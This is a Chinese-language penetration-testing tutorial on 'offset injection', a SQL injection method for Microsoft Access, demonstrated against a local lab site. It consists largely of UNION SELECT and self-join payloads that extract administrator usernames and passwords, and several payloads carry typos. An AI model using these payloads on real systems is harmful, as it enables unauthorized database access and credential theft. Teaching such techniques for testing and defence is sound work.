渗透测试----access偏移注入

　偏移注入指access偏移注入，由于数据库结构的问题，偏移注入只适用于access数据库。对于access数据库来说，无论是逐字猜解还是联合查询注入，都是需要我们能够猜到用户名和密码的列名(字段),才可以注入出数据，而有的时候，站长取的字段名很另类，我们猜不出来的时候，就需要偏移注入了。

　偏移注入的前提：

　　猜出表名，且知道一个或多个字段。(access)

　如果当前注入点的脚本内查询的表内的字段数较多，而管理表内字段较少，这样我们成功率会更高。意思就是管理表字段越少越好，最好只有id，username，password三个字段。

　下面我本地搭个环境来演示：

　　目标站：192.168.17.128/0

这里是注入点。http://192.168.17.128/0/Production/PRODUCT_DETAIL.asp?id=1513

当前注入点字段数22，管理表名admin，下面直接联合查询爆显位。

3和15为显位，这时候我们跑不出字段，选择偏移注入。

判断管理表内存在的字段数。

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

继续，直到返回正常。

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,* from admin

到16返回正常，那么我们此时得出admin表下有6个字段。(字段数-返回正常字段数　　22-16=6)

这里要说一下"admin as a inner join admin as b on a.id=b.id"的意思，下面要用到，把admin表命名a表，b表，打印a.id=b.id的所有行。这里是admin表的自连接，admin为表名， id为字段(可以是其他已知字段)。

偏移注入的基本公式为:order by 出的字段数-*号的字段数x2。这里是22-6*2=10，那么开始构造payload，

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

这里偏移到了管理员创建时间这个字段了(我也猜的，反正不是我们要的)，然后下面就要利用到隐性显位了，我们可以"查看网页源代码"。

可以看到密码了，心情逐渐忐忑…哈哈。

这时候已经得到了密码，却没有账号怎么办，我们只需要把它打乱就可以，这样信息重组，很有可能会把管理员账号给爆出来。在字段后面插个a.id,b.id,

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin b on a.id=b.id)

或者只加a.id也可以打乱信息组合，

union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin b on a.id=b.id)

这样经过了两次偏移我们得到了管理员账号密码。不过这里只是一级偏移，在字段足够多的时候，我们可以多级偏移，成功率会高很多，

这个时候我们再去掉6个字段(管理表下的字段数)，增加c.id代替字段重新打乱组合，

union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as bon a.id=b.id) inner join admin as c on a.id=c.id)

这次隐性显位一次性爆出了管理账号密码，啧啧，这时候也解释了前面为什么说当前注入点的脚本内查询的表内的字段数较多，而管理表内字段较少，成功率会更高了。

PS：偏移注入只适用于access数据库。